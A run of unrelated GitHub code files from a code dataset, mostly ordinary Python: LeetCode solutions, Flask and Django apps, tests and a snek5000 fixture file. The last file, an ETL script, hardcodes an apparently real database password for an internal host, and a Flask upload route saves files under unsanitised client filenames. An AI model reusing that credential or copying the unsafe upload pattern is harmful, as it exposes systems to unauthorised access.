not concerned about root but only the LCA.\n # Shortest path is start -> LCA + LCA -> dest.\n return \"\".join(pathS[i-1:] + pathD[i-1:])\n \n \n ","repo_name":"Priyansh121096/leetcode","sub_path":"2096.py","file_name":"2096.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22166630664","text":"import os\nimport csv\n\n#Pull csv file\ncsvpath = os.path.join('Resources', 'election_data.csv')\nwith open(csvpath, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n csv_header = next(csvreader)\n\n vote_count = 0\n candidate_list = []\n for row in csvreader:\n vote_count = vote_count + 1\n candidate_list.append(str(row[2]))\n\nunique_candidate = list(set(candidate_list))\nunique_candidate_sort = sorted(unique_candidate)\ncorrey_count = candidate_list.count(unique_candidate_sort[0])\notoo_count = candidate_list.count(unique_candidate_sort[3])\nkhan_count = candidate_list.count(unique_candidate_sort[1])\nli_count = candidate_list.count(unique_candidate_sort[2])\ncorrey_percentage = correy_count/vote_count\notoo_percentage = otoo_count/vote_count\nkhan_percentage = (khan_count/vote_count)\nli_percentage = li_count/vote_count\ncount_list = [correy_count,otoo_count,khan_count,li_count]\nname_list = [\"Correy\",\"O'Tooley\",\"Khan\",\"Li\"]\nmax_value = max(count_list)\nwinner_index = count_list.index(max_value)\n\n\nprint(\"Election Results\")\nprint(f\"Total Votes: {vote_count}\")\nprint(f'Khan: {khan_percentage:.3%} ({khan_count})')\nprint(f'Correy: {correy_percentage:.3%} ({correy_count})')\nprint(f'Li: {li_percentage:.3%} ({li_count})')\nprint(f\"O'Tooley: {otoo_percentage:.3%} ({otoo_count})\")\nprint(f'Winner: {name_list[winner_index]}')\n\noutput_path = os.path.join(\"output2.csv\")\nwith open(output_path, 'w', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',')\n csvwriter.writerow(\"Election Results\")\n csvwriter.writerow([\"Total Votes\",vote_count])\n csvwriter.writerow([\"Khan\",str(round(khan_percentage*100,3))+'%',khan_count])\n csvwriter.writerow([\"Correy\",str(round(correy_percentage*100,3))+'%',correy_count])\n csvwriter.writerow([\"Li\",str(round(li_percentage*100,3))+'%',li_count])\n csvwriter.writerow([\"O'Tooley\",str(round(otoo_percentage*100,3))+'%',otoo_count])\n csvwriter.writerow([\"Winner\",name_list[winner_index]])","repo_name":"wendyguo715/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32094670069","text":"import os\nfrom diffusers import DiffusionPipeline, DPMSolverMultistepScheduler\n\nNUMBER_OF_IMAGES_PER_PROMPT = 5\n\nrepo_id = \"stabilityai/stable-diffusion-2\"\npipe = DiffusionPipeline.from_pretrained(repo_id)\n\npipe.scheduler = DPMSolverMultistepScheduler.from_config(pipe.scheduler.config)\npipe = pipe.to(\"cuda\")\n\ndef create_image(prompt):\n image = pipe(prompt, guidance_scale=9, num_inference_steps=25).images[0]\n return image\n\ndef main():\n items = open('./prompts.txt', 'r').readlines()\n \n try:\n os.mkdir(f\"./generated-images\")\n except:\n print(\"An error occurred making the folder, probably because it already exists.\")\n\n for item in items:\n for i in range(NUMBER_OF_IMAGES_PER_PROMPT):\n image = create_image(item)\n image_name = f\"./generated-images/{item}-{i}.png\"\n image.save(image_name)\n print(f\"Successfully saved: {image_name}\")\n\n \n print(\"Finished\")\n\nmain()\n","repo_name":"melvyn-developyn/meme-machine","sub_path":"meme-machine.py","file_name":"meme-machine.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"24365740637","text":"import os\nfrom flask import Flask, render_template, request\nfrom pred import *\n\napp = Flask(__name__, static_folder=\"static\")\n\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\n\n@app.route('/')\ndef forms():\n return render_template('form.html', title=\"Formularios\")\n\n@app.route('/cadastro', methods=['GET', 'POST'])\ndef cadastro():\n if request.method == \"POST\":\n username = request.form.get(\"username\")\n email = request.form.get(\"email\")\n senha = request.form.get(\"password\")\n\n return f\"Nome: {username}\\n Emial: {email} \\n Senha: {senha}\"\n else:\n return render_template(\"form.html\", title=\"Formularios\")\n\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"POST\":\n email = request.form.get(\"email\")\n senha = request.form.get(\"password\")\n\n return f\"Emial: {email} \\n Senha: {senha}\"\n@app.route('/exames')\ndef exames():\n return render_template(\"exames.html\", title=\"Exames\")\n\n@app.route('/home')\ndef index():\n return render_template('index.html')\n\n@app.route('/team')\ndef team():\n return render_template('team.html', title=\"Equipe\")\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload():\n target = os.path.join(APP_ROOT, 'static/images/')\n print(target)\n\n if not os.path.isdir(target):\n os.mkdir(target)\n\n for file in request.files.getlist('file'):\n print(file)\n filename = file.filename\n print(filename)\n dest = '/'.join([target, filename])\n print(dest)\n file.save(dest)\n output = predict(filename)\n return render_template(\"exames.html\", label=output, imagesource=filename)\n\n\nif __name__ == \"main\":\n app.run(debug=True)\n","repo_name":"RAMONPYTHON/MedDoctorIA","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23483657442","text":"import unittest\nfrom unittest import mock\nfrom unittest.mock import ANY\nimport json\n\nfrom test_common_utils import default_mock_os_environ\n\n\nmock_os_environ = {\n **default_mock_os_environ,\n 'application': 'cmf',\n 'environment': 'unittest',\n 'local_bucket': 'cmf_test_local_bucket',\n 'remote_bucket': 'cmf_test_remote_bucket',\n 'key_prefix': 'cmf_test_key_prefix',\n}\n\n\nclass StringContainsMatcher:\n \"\"\"\n used to check whether the string is contained in the actual parameter\n to be used in mock.call_with\n \"\"\"\n\n def __init__(self, expected):\n self.expected = expected\n\n def __eq__(self, actual):\n return self.expected in actual\n\n def __repr__(self):\n return self.expected\n\n\nclass LambdaContext:\n def __init__(self, aws_request_id):\n self.aws_request_id = aws_request_id\n\n\nclass RequestsResponse:\n def __init__(self, reason):\n self.reason = reason\n\n\n@mock.patch.dict('os.environ', mock_os_environ)\nclass LambdaMigrationTrackerGlueBaseTest(unittest.TestCase):\n\n def setUp(self):\n super().setUp()\n self.test_aws_account_id = '111111111111'\n self.event_create = {\n 'RequestType': 'Create',\n 'ResponseURL': 'http://example.com',\n 'StackId': 'MyStack',\n 'RequestId': 'MyRequest',\n 'LogicalResourceId': 'Resource101'\n }\n self.event_update = {\n 'RequestType': 'Update',\n 'ResponseURL': 'http://example.com',\n 'StackId': 'MyStack',\n 'RequestId': 'MyRequest',\n 'LogicalResourceId': 'Resource101'\n }\n self.event_delete = {\n 'RequestType': 'Delete',\n 'ResponseURL': 'http://example.com',\n 'StackId': 'MyStack',\n 'RequestId': 'MyRequest',\n 'LogicalResourceId': 'Resource101'\n }\n self.event_unknown = {\n 'RequestType': 'Unknown',\n 'ResponseURL': 'http://example.com',\n 'StackId': 'MyStack',\n 'RequestId': 'MyRequest',\n 'LogicalResourceId': 'Resource101'\n }\n self.lamda_context = LambdaContext(self.test_aws_account_id)\n\n def assert_response(self, response):\n # the send_response function doesn't return anything, so the return is always {'Response': None},\n # even in failures\n self.assertEqual({'Response': None}, response)\n\n def assert_requests_called_with(self, mock_requests, message, status):\n mock_requests.put.assert_called_once_with('http://example.com',\n data=json.dumps({'Status': status,\n 'PhysicalResourceId': self.test_aws_account_id,\n 'Reason': message,\n 'StackId': 'MyStack',\n 'RequestId': 'MyRequest',\n 'LogicalResourceId': 'Resource101',\n }),\n headers=ANY,\n timeout=ANY)\n\n def assert_requests_called_with_success(self, mock_requests, message):\n self.assert_requests_called_with(mock_requests, message, 'SUCCESS')\n\n def assert_requests_called_with_failure(self, mock_requests, message):\n self.assert_requests_called_with(mock_requests, message, 'FAILED')\n","repo_name":"aws-solutions/cloud-migration-factory-on-aws","sub_path":"source/backend/lambda_unit_test/test_lambda_migrationtracker_glue_base.py","file_name":"test_lambda_migrationtracker_glue_base.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"21"} +{"seq_id":"71969307892","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom .models import *\n\n\nclass AddPostForm2(forms.Form):\n title = forms.CharField(max_length=255, label=\"Заголовок\", widget=forms.TextInput(attrs={'class': 'form-input'}))\n slug = forms.SlugField(max_length=255, label=\"URL\")\n content = forms.CharField(widget=forms.Textarea(attrs={'cols': 60, 'rows': 10}), label=\"Статья\")\n is_published = forms.BooleanField(label=\"Опубликовать\", required=False, initial=True)\n cat = forms.ModelChoiceField(\n queryset=Category.objects.all(), label=\"Категория\", empty_label=\"Категория не выбрана\",\n required=False\n )\n\n\nclass AddPostForm(forms.ModelForm):\n def __int__(self, *args, **kwargs):\n super(AddPostForm, self).__init__(*args, **kwargs)\n self.fields['cat'].empty_label = \"asdf\"\n\n class Meta:\n model = Women\n # fields = '__all__'\n # exclude = ('photo',)\n fields = ['title', 'slug', 'content', 'photo', 'is_published', 'cat']\n widgets = {\n 'title': forms.TextInput(attrs={'class': 'form-input'}),\n 'content': forms.Textarea(attrs={'cols': 60, 'rows': 10}),\n }\n\n def clean_title(self):\n title = self.cleaned_data['title']\n if len(title) > 200:\n raise ValidationError('Длина превышает 200 символов')\n return title\n","repo_name":"lookoman/djsite","sub_path":"coolsite/women/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19780592507","text":"import typing as t\n\nimport matplotlib.pyplot as plt\n\n\nclass ImageManipulatorBase:\n def __init__(self, img):\n self.img = img\n self.img_mod = None\n\n def plot(self,\n cmap: str = \"gray\",\n size: t.Tuple[int, int] = (10, 10),\n num_bits: int = 8,\n num_bits_original: int = 8) -> None:\n \"\"\"Plot original and modified image, side-by-side.\"\"\"\n if self.img is None:\n raise TypeError(\"Image not fitted into model.\")\n\n plt.figure(figsize=size)\n\n if self.img_mod is not None:\n plt.subplot(121)\n\n plt.imshow(self.img, cmap=cmap, vmin=0, vmax=2**num_bits_original-1)\n plt.title(\"Original Image\")\n\n if self.img_mod is not None:\n plt.subplot(122)\n plt.imshow(self.img_mod, cmap=cmap, vmin=0, vmax=2**num_bits-1)\n plt.title(\"Transformed Image\")\n\n plt.show()\n","repo_name":"FelSiq/image-processing-assignments","sub_path":"image_base.py","file_name":"image_base.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33845760537","text":"import time\n\n# The isBadVersion API is already defined for you.\n# @param version, an integer\n# @return a bool\n# def isBadVersion(version):\n\nclass Solution:\n def firstBadVersion(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n start, end = 0, n\n if n == 1:\n return 1\n while start + 1 < end:\n mid = int((start + end) / 2)\n if isBadVersion(mid):\n end = mid\n else:\n start = mid\n if isBadVersion(start):\n return start\n if isBadVersion(end):\n return end\n return -1\n\n\ndef isBadVersion(m):\n if m >= 2:\n return True\n return False\n\n\nif __name__ == \"__main__\":\n n = 2\n start = time.time()\n solution = Solution()\n print(solution.firstBadVersion(n))\n end = time.time()\n print(\"runtime = \", end - start)\n","repo_name":"simplynaive/LeetCode","sub_path":"278. First Bad Version.py","file_name":"278. First Bad Version.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37564645365","text":"import random\r\nimport plotly.express as px\r\nimport plotly.figure_factory as ff\r\nimport csv\r\nimport pandas as pd\r\nimport statistics\r\nreadingScore=[]\r\ncount=[]\r\ndf= pd.read_csv(\"StudentsPerformance.csv\")\r\n\r\nreadingScore_list=df[\"reading score\"].to_list()\r\n\r\n\r\nmean=statistics.mean(readingScore_list)\r\nmedian=statistics.median(readingScore_list)\r\nmode=statistics.mode(readingScore_list)\r\nprint(mean,median,mode)\r\n\r\nstd_deviation=statistics.stdev(readingScore_list)\r\nprint(std_deviation)\r\n\r\n\r\n\r\nf_std_start,f_std_end=mean-std_deviation,mean+std_deviation\r\nlist_1_std=[result for result in readingScore_list if result>f_std_start and results_std_start and resultt_std_start and result 1:\n\t\tkeys = spans[1::2]\n\t\tvalues = spans[2::2]\n\t\tfor k, v in zip(keys, values):\n\t\t\trestore_dict[k] = v.strip()\n\t\t\trestore_dict_str += '{}: {}\\t'.format(k, v)\n\tt_span = t_info.split()\n\ts_span = s_info.split()\n\trestore_dict_p = {}\n\tcur_p = None\n\tfor tok in s_span:\n\t\tif t_ptrn.match(tok) is not None:\n\t\t\tcur_p = tok\n\t\t\trestore_dict_p[cur_p] = ''\n\t\telse:\n\t\t\trestore_dict_p[cur_p] = restore_dict_p[cur_p] + ' ' + tok\n\n\tres = []\n\tfor c_key in restore_dict:\n\t\tassert c_key in t_span\n\tfor t_key in restore_dict_p:\n\t\tassert t_key in t_span\n\tfor tok in t_span:\n\t\tif c_ptrn.match(tok) is not None:\n\t\t\tassert tok in restore_dict\n\t\t\tres.append(restore_dict[tok])\n\t\telif t_ptrn.match(tok) is not None:\n\t\t\tif tok in restore_dict_p:\n\t\t\t\tif restore_dict_p[tok].endswith('@@'):\n\t\t\t\t\trestore_dict_p[tok] = restore_dict_p[tok][:-2]\n\t\t\t\tres.append(restore_dict_p[tok])\n\tres = [x.strip() for x in res]\n\tfw.write(' '.join(res) + '\\n')\n","repo_name":"THUNLP-MT/Template-NMT","sub_path":"lexical_scripts/restore_template.py","file_name":"restore_template.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"14458126232","text":"import unittest\n\nfrom farg.core.controller import Controller\nfrom farg.core.focusable_mixin import FocusableMixin\nfrom farg.core.stream import Stream\nfrom farg.core.ui.batch_ui import BatchUI\nclass MyFocusable(FocusableMixin):\n def __init__(self, x):\n self.x = x\n self.y = 2 * x\n\n def GetFringe(self, controller):\n return { self.x: 0.7, self.y: 0.4 }\n\n def GetAffordances(self, controller):\n return ()\n\n def GetSimilarityAffordances(self, focusable, other_fringe, my_fringe, controller):\n return ()\n\nclass TestStream(unittest.TestCase):\n def test_basic(self):\n\n c = BatchUI(controller_class=Controller).controller\n s = c.stream\n self.assertEqual(0, s.FociCount())\n\n m3 = MyFocusable(3)\n m6 = MyFocusable(6)\n m12 = MyFocusable(12)\n\n hits_map = s.StoreFringeAndCalculateOverlap(m3)\n self.assertEqual(1, s.FociCount())\n self.assertEqual(0, len(hits_map))\n\n s.FocusOn(m3)\n self.assertEqual(1, s.FociCount())\n\n hits_map = s.StoreFringeAndCalculateOverlap(m6)\n self.assertEqual(2, s.FociCount())\n self.assertEqual(1, len(hits_map))\n self.assertTrue(m3 in hits_map)\n self.assertAlmostEqual(0.28, hits_map[m3])\n\n hits_map = s.StoreFringeAndCalculateOverlap(m12)\n self.assertEqual(3, s.FociCount())\n self.assertEqual(1, len(hits_map))\n self.assertTrue(m6 in hits_map)\n self.assertAlmostEqual(0.28, hits_map[m6])\n\n s._PrepareForFocusing(m6)\n hits_map = s.StoreFringeAndCalculateOverlap(m6)\n self.assertEqual(3, s.FociCount())\n self.assertEqual(2, len(hits_map))\n self.assertTrue(m3 in hits_map)\n self.assertTrue(m12 in hits_map)\n self.assertAlmostEqual(0.28, hits_map[m12])\n self.assertAlmostEqual(0.2527, hits_map[m3])\n\n s.kMaxFocusableCount = 3\n # So now adding any will remove something (specifically, m3)\n f = MyFocusable(1.5)\n s._PrepareForFocusing(f)\n hits_map = s.StoreFringeAndCalculateOverlap(f)\n self.assertEqual(3, s.FociCount())\n self.assertEqual(0, len(hits_map))\n self.assertFalse(m3 in s.foci)\n","repo_name":"amahabal/PySeqsee","sub_path":"farg/core/tests/test_stream.py","file_name":"test_stream.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"} +{"seq_id":"25009783211","text":"from models.store import StoreModel\nfrom flask_restful import Resource\nfrom flask_restful import reqparse\n\n\nclass Store(Resource):\n def get(self,name):\n store = StoreModel.find_by_name(name)\n if store:\n return store.json(), 200\n else:\n return {\"messaage\":\"Store {} does not exist\".format(name)}, 404\n\n\n def post(self,name):\n parser = reqparse.RequestParser() #initialises the parse object\n parser.add_argument(\"name\",\n type=str,\n required=True,\n help=\"Store name can't be blank\")\n data = parser.parse_args()\n store = StoreModel.find_by_name(data['name'])\n if store:\n return {\"message\":\"Store {} already exists\".format(data[\"name\"])}, 400\n else:\n store = StoreModel(data['name'])\n store.save_to_db()\n return store.json(), 201\n\n def delete(self, name):\n parser = reqparse.RequestParser() #initialises the parse object\n parser.add_argument(\"name\",\n type=str,\n required=True,\n help=\"Store name can't be blank\")\n data = parser.parse_args()\n store = StoreModel.find_by_name(data['name'])\n\n if store:\n store.delete_from_db()\n return {\"message\":\"Store {} deleted successfully\".format(data['name'])}, 200\n else:\n return {\"messaage\":\"Store {} does not exist\".format(data['name'])}, 404\n\n\nclass StoreList(Resource):\n def get(self):\n return {\"stores\":[x.json() for x in StoreModel.get_all()]}, 200\n","repo_name":"ghousali97/AdvanceFlaskApp","sub_path":"resources/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31576796647","text":"import os\nimport shutil\nimport sys\nimport tempfile\nfrom contextlib import contextmanager\nfrom pathlib import Path\n\nimport numpy as np\nimport pymech\nimport pytest\n\nfrom snek5000 import load\nfrom snek5000.util.gfortran_log import log_matches\n\n\ndef pytest_addoption(parser):\n # https://pytest.readthedocs.io/en/latest/example/simple.html#control-skipping-of-tests-according-to-command-line-option\n parser.addoption(\n \"--runslow\", action=\"store_true\", default=False, help=\"run slow tests\"\n )\n\n\ndef pytest_configure(config):\n config.addinivalue_line(\"markers\", \"slow: mark test as slow to run\")\n\n try:\n import rich # noqa\n\n import snek5000.log\n\n except ImportError:\n pass\n else:\n # Bug while using rich + pytest: stderr / stdout is too short\n # Inspired from: https://github.com/willmcgugan/rich/issues/1425\n snek5000.log.logger.removeHandler(snek5000.log.handler)\n\n handler = snek5000.log.create_handler(width=shutil.get_terminal_size().columns)\n snek5000.log.logger.addHandler(handler)\n\n\ndef pytest_collection_modifyitems(config, items):\n if config.getoption(\"--runslow\"):\n # --runslow given in cli: do not skip slow tests\n return\n skip_slow = pytest.mark.skip(reason=\"need --runslow option to run\")\n for item in items:\n if \"slow\" in item.keywords:\n item.add_marker(skip_slow)\n\n\ndef modif_test_params(params):\n params.output.sub_directory = \"tests_snek5000\"\n params.oper.nproc_min = 2\n\n\n@pytest.fixture(scope=\"session\")\ndef jinja_env():\n import jinja2\n\n env = jinja2.Environment(\n loader=jinja2.PackageLoader(\"snek5000\", \"resources\"),\n undefined=jinja2.StrictUndefined,\n )\n return env\n\n\n@pytest.fixture(scope=\"session\")\ndef sim():\n from phill.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n\n params.nek.general.stop_at = \"numSteps\"\n params.nek.general.num_steps = 9\n return Simul(params)\n\n\n@pytest.fixture(scope=\"session\")\ndef oper():\n from snek5000.operators import Operators as Class\n from snek5000.util import init_params\n\n params = init_params(Class)\n params.oper.nx = params.oper.ny = params.oper.nz = 9\n params.oper.nproc_min = 6\n\n return Class(params=params)\n\n\ndef set_params_oper2d(params):\n params.oper.nx = params.oper.ny = 16\n params.oper.Lx = params.oper.Ly = 1\n params.oper.dim = 2\n params.oper.boundary = [\"W\"] * 4\n params.oper.boundary_scalars = [\"t\"] * 2 + [\"I\"] * 2\n\n params.oper.nproc_min = 4\n params.oper.nproc_max = 32\n\n elem = params.oper.elem\n elem.order = elem.order_out = 15\n elem.coef_dealiasing = 1.0 / 1.6\n elem.staggered = False\n\n params.oper.max.hist = 100\n\n\n@pytest.fixture(scope=\"session\")\ndef oper2d():\n from snek5000.operators import Operators as Class\n from snek5000.util import init_params\n\n params = init_params(Class)\n set_params_oper2d(params)\n return Class(params=params)\n\n\n@pytest.fixture(scope=\"session\")\ndef sim2d():\n from phill.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n set_params_oper2d(params)\n return Simul(params)\n\n\n@pytest.fixture(scope=\"module\")\ndef sim_canonical():\n from snek5000_canonical.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n return Simul(params)\n\n\n@pytest.fixture(scope=\"session\")\ndef sim_executed():\n from phill.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n\n params.nek.general.stop_at = \"endTime\"\n params.nek.general.end_time = 10 * abs(params.nek.general.dt)\n params.nek.general.write_interval = 5\n\n params.oper.nproc_max = 12\n params.oper.nx = params.oper.ny = params.oper.nz = 3\n params.oper.elem.order = params.oper.elem.order_out = 8\n\n params.nek.stat.av_step = 2\n params.nek.stat.io_step = 4\n\n sim = Simul(params)\n assert sim.make.exec(\"run_fg\"), \"phill simulation failed\"\n return sim\n\n\n@contextmanager\ndef unset_snek_debug():\n old_snek_debug = os.environ.pop(\"SNEK_DEBUG\", None)\n try:\n yield\n finally:\n if old_snek_debug is not None:\n os.environ[\"SNEK_DEBUG\"] = old_snek_debug\n\n\n@pytest.fixture(scope=\"session\")\ndef sim_cbox_executed():\n from snek5000_cbox.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n params.Ra_side = 1.83e08\n\n params.nek.general.stop_at = \"numSteps\"\n params.nek.general.dt = 1e-3\n params.nek.general.num_steps = 12\n params.nek.general.write_interval = 3\n\n params.oper.nproc_max = 12\n params.oper.dim = 2\n params.oper.nx = params.oper.ny = 8\n\n coords = [(0.5, 0.5)]\n params.output.history_points.write_interval = 2\n params.output.history_points.coords = coords\n params.oper.max.hist = len(coords) + 1\n\n sim = Simul(params)\n sim.output.write_snakemake_config(custom_env_vars={\"FOO\": 1})\n\n with unset_snek_debug():\n if not sim.make.exec(\"compile\"):\n build_log = Path(sim.output.path_run) / \"build.log\"\n log_matches(build_log, levels=[\"Error\"])\n raise RuntimeError(\"cbox compilation failed\")\n\n if not sim.make.exec(\"run_fg\", nproc=2):\n with open(Path(sim.output.path_run) / \"cbox.log\") as file:\n print(file.read())\n raise RuntimeError(\"cbox simulation failed\")\n return sim\n\n\n@pytest.fixture(scope=\"session\")\ndef sim_cbox_executed_readonly(sim_cbox_executed):\n path_run = Path(sim_cbox_executed.output.path_run)\n with tempfile.TemporaryDirectory(suffix=\"snek5000_cbox_executed\") as tmp_dir:\n path_readonly_sim = Path(tmp_dir) / path_run.name\n shutil.copytree(path_run, path_readonly_sim)\n\n for path in path_readonly_sim.rglob(\"*\"):\n mod = 0o444\n if path.is_dir():\n mod = 0o544\n path.chmod(mod)\n\n sim = load(path_readonly_sim)\n yield sim\n\n for path in path_readonly_sim.rglob(\"*\"):\n mod = 0o644\n if path.is_dir():\n mod = 0o744\n path.chmod(mod)\n\n\n@pytest.fixture(scope=\"session\")\ndef sim_tgv_executed():\n from snek5000_tgv.solver import Simul\n\n params = Simul.create_default_params()\n modif_test_params(params)\n\n params.oper.nx = params.oper.ny = params.oper.nz = 6\n params.oper.elem.order = params.oper.elem.order_out = 6\n\n params.nek.velocity.residual_tol = 1e-07\n params.nek.pressure.residual_tol = 1e-05\n\n params.nek.general.end_time = 1\n params.nek.general.dt = -1\n params.nek.general.target_cfl = 1.4\n params.nek.general.extrapolation = \"OIFS\"\n\n params.nek.general.write_control = \"runTime\"\n params.nek.general.write_interval = 0.5\n\n params.output.spatial_means.write_interval = 0.5\n params.output.remaining_clock_time.period_save_in_seconds = 1.0\n\n sim = Simul(params)\n if not sim.make.exec(\"run_fg\", nproc=2):\n with open(Path(sim.output.path_run) / \"cbox.log\") as file:\n print(file.read())\n raise RuntimeError(\"tgv simulation failed\")\n\n return sim\n\n\ndef create_fake_nek_files(path_dir, name_solver, nb_files=1):\n nx = 2\n ny = 4\n nz = 6\n nx_elem = ny_elem = nz_elem = 2\n\n hexa_data = pymech.core.HexaData(\n ndim=3,\n nel=nx_elem * ny_elem * nz_elem,\n lr1=(nx, ny, nz),\n var=(3, 3, 1, 1, 0),\n )\n hexa_data.wdsz = 8\n hexa_data.istep = 0\n hexa_data.endian = sys.byteorder\n\n x1d = np.linspace(0, 1, nx)\n y1d = np.linspace(0, 1, ny)\n z1d = np.linspace(0, 1, nz)\n\n y3d, z3d, x3d = np.meshgrid(y1d, z1d, x1d)\n assert y3d.shape == (nz, ny, nx)\n\n ielem = 0\n for iz_elem in range(nz_elem):\n for iy_elem in range(ny_elem):\n for ix_elem in range(nx_elem):\n elem = hexa_data.elem[ielem]\n ielem += 1\n elem.pos[0] = x3d + ix_elem\n elem.pos[1] = y3d + iy_elem\n elem.pos[2] = z3d + iz_elem\n elem.vel.fill(1)\n\n time = 2.0\n for it in range(nb_files):\n hexa_data.time = time\n pymech.writenek(path_dir / f\"{name_solver}0.f{it:05d}\", hexa_data)\n time += 0.5\n\n\n@pytest.fixture(scope=\"function\")\ndef sim_data(tmpdir_factory):\n \"\"\"Generate fake simulation data.\"\"\"\n files = \"\"\"box.tmp\nmakefile\nmakefile_usr.inc\nnek5000\nphill.box\nphill.f\nphill.log\nphill.ma2\nphill.par\nphill.re2\nphill.usr\nrs6phill0.f00001\nrs6phill0.f00002\nrs6phill0.f00003\nSESSION.NAME\nSIZE\nSnakefile\"\"\".splitlines()\n\n session_files = \"\"\"\nphill0.f00001\n\"\"\".splitlines()\n\n path_run = Path(tmpdir_factory.mktemp(\"phill_sim_data\"))\n\n from snek5000.output import _make_path_session\n\n for f in files:\n (path_run / f).touch()\n\n for session_id in range(2):\n path_session = _make_path_session(path_run, session_id)\n path_session.mkdir()\n for f in session_files:\n create_fake_nek_files(path_session, \"phill\")\n\n from phill.solver import Simul\n\n info = Simul.InfoSolver()\n params = Simul.create_default_params()\n\n info._save_as_xml(path_run / \"info_solver.xml\")\n params._set_attrib(\"path_run\", path_run)\n params.output._set_attrib(\"session_id\", session_id)\n params.output._set_attrib(\"path_session\", path_session)\n params._save_as_xml(path_run / \"params_simul.xml\")\n\n return path_run\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef shared_datadir_remove():\n \"\"\"Removes empty data directory as a result of pytest-datadir\"\"\"\n yield # Execute all tests\n shared_datadir = Path(__file__).parent.parent / \"data\"\n if shared_datadir.exists():\n shared_datadir.rmdir()\n","repo_name":"snek5000/snek5000","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":9711,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"31478399227","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ntest0 = np.loadtxt('wehryTest.dat', delimiter = ',')\ntest1 = np.loadtxt('angles_to_sun_wehry_particles.txt', delimiter = ',', skiprows = 1, usecols = (i for i in range(9, 11)))\n\nanglesStrub = test1[:,0]\nanglesAlt = test1[:,1]\n\nprint(test0-anglesStrub)\n\nplt.scatter(test0, anglesStrub-test0, label = 'test0')\n#plt.scatter(anglesStrub, anglesStrub-test0, label = 'Strub')\n#plt.legend()\nplt.show()\n\na = np.where(test0-anglesStrub < -1)[:]\nprint(a, test0[a], anglesStrub[a], test0[a]-anglesStrub[a])","repo_name":"tbstein/Ulysses-Data-Analysis","sub_path":"Ulysses Visualisation/StrubComp.py","file_name":"StrubComp.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22519937955","text":"\nfcrb_episode_hubs = {'table': 'fcrb.episode', 'hubs': [{'hub': 'hub_event', 'keys': ['einri', 'falnr', 'patnr', 'pernr']}, {'hub': 'hub_object', 'keys': ['einri', 'falnr', 'patnr', 'pernr']}]}\n\nfcrb_episode_satellites = {\n 'satellites': [\n {\n 'satellite': 'sat_object_treatment_category', \n 'columns': ['bekat'], \n 'hub': 'hub_object', 'hub_id': 0,\n 'display_text': 'Categoria Tractament'\n }, \n {\n 'satellite': 'sat_event_episode_type', \n 'columns': ['falar', 'statu', 'krzan', 'storn', 'casetx', 'enddtx'], \n 'hub': 'hub_event', 'hub_id': 0,\n 'display_text': 'Tipus Episodi'\n }, \n {\n 'satellite': 'sat_object_medical_center', \n 'columns': ['einzg', 'fatnx'], \n 'hub': 'hub_object', 'hub_id': 0,\n 'display_text': 'Centre Mèdic'\n }\n ]\n}\n\nfcrb_episode_links = {'links': [{'link': 'object_event_link', 'values': {'object_id': 0, 'event_id': 0}}]}\n ","repo_name":"SkinnyPigeon/serums_api_v3_docker","sub_path":"code/api/sources/control_files/fcrb/fcrb_episode_control_file.py","file_name":"fcrb_episode_control_file.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"ta","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"43012080799","text":"import requests\nimport psycopg2\nimport pprint\nimport locale\nimport time\nfrom datetime import datetime,date, timedelta\nimport json\nimport urllib\nimport mysql.connector as mysql\n#from datetime import datetime, time ,timedelta\nurl = 'https://etmam-services.housing.gov.sa/ar/user/dim-state?date=all'\n\ndb = mysql.connect(\n host=\"10.0.4.2\",\n user=\"airflow_us\",\n password=\"Yahyaayyoub1996@#$\",\n port = 3306,\n database='etmam_tableau' #DB 